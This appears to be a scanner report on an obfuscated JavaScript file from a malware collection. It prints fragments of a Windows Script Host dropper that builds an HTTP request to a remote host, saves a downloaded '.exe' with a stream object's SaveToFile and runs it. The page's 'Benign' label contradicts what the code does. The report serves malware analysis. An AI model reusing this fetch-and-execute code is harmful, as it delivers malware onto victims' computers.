Benign javascript-malware-collection Download

20160328_fa173053ff7a9d472596b839b9d88f6d.js

eval() executing transformed codeText has empty named-parameter catch

SHA-256f97e7f068776dbe489a8bc2ca46557426068f3d362a5bea74637a244db2436bb

Evidence

Dense concatenated string fragments line 1

1eval(has("var%20sourceIndex%20%3D%20%28%224Dh.%22%29%2C%20file%20%3D%20%28%22rt%22%29%2C%20cloneCopyEvent%20%3D%20%28%22m%22%29%2C%20doc%20%3D%20%28%22tru%22%29%2C%20truncate%20%3D%20%2848%29%3Brcombinators%20%3D%20%28%22de%22%29%3B%20always%20%3D%20%28%22Sl%22%29%3Bvar%20submit%20%3D%20%28%22R%22%29%2C%20requestHeadersNames%20%3D%20%28111%29%3Bvar%20expand%20%3D%20%28%22rverXM%22%29%2C%20pdataOld%20%3D%20%281041%29%2C%20xhrSuccessStatus%20%3D%20%28%22T%22%29%3Bvar%20rchecked%20%3D%20%284403%29%2C%20now%20%3D%20%28%222.XML%22%29%2C%20defer%20%3D%20%28%22Msxml%22%29%2C%20xhr%20%3D%20%28%22Msx%22%29%2C% …

Invokes zero-argument function at module scope lines 1–7

1:3007… 2%29%3B%3B"));
2xml = ap = done = prevUntil = events.isWindow();
3rsubmittable();
4start(removeAttr, doc, preventDefault, removeAttribute, stopped);
5finish(linear);
6matcherFromTokens(swap, one, cssPrefixes);
7sc …

Text has empty named-parameter catch lines 16–24

7… 						removeProp(submit, getJSON, apply, fireWith);
										ignored["se" + _$ + "d"]();
										break;
						} catch(rfocusMorph) {
20
						}
		}
23
		while(ignored[disconnectedMatch + "tate"] != ((1395 / context), (53 * mimeType), (4 + lname))) ap[getJSON + "ipt"][p …

Obfuscated computed call cluster lines 26–46

26:54… tDefault) - 4927) + (Math.pow(thead, 2) - rchecked))) {
27								scripts[step + "e" + _$]();
28								scripts["Writ" + name](ignored["res" + parents + "ody"]);
29								prevUntil[statusText + "ript"][replaceAll + "p"](((3533 * preventDefault) & (Math.pow(4263, preventDefault) - 18168100)));
30								scripts[linear + "ToFile"](send, ((preventDefault + 0) & (preventDefault | 2)));
31								children();
32								emptyStyle[submit + "u" + _$](send);
33				} else {
34
35				}
36}
37
38function matcherFromTokens() {
39				focus(has("scripts%20%3D%20prevUntil%5B%22WSc%22%20+%20unbind%5D%5B%22Cre%22%20+%20noConflict%20+%20%22ect%22%5D%28sort%20+%20%22Strea%22%20+%20cloneCopyEvent%29%3B"));
40}
41
42function rparentsprev(matchContext, pop) {
43				focus(has("click%28%22htt%22%20+%20hasDuplicate%20+%20%22amensk%22%20+%20parentOffset%20+%20%22/Gvi%22%20+%20sourceIndex%20+%20%22exe%22%29%3B"));
44}
45
46function children(rhtml) {

Calls JavaScript unescape lines 63–69

63:427… 0noGlobal%5D%3B"));
64}
65
66function has(initialInUnit) {
67				return unescape(initialInUnit);
68}
69 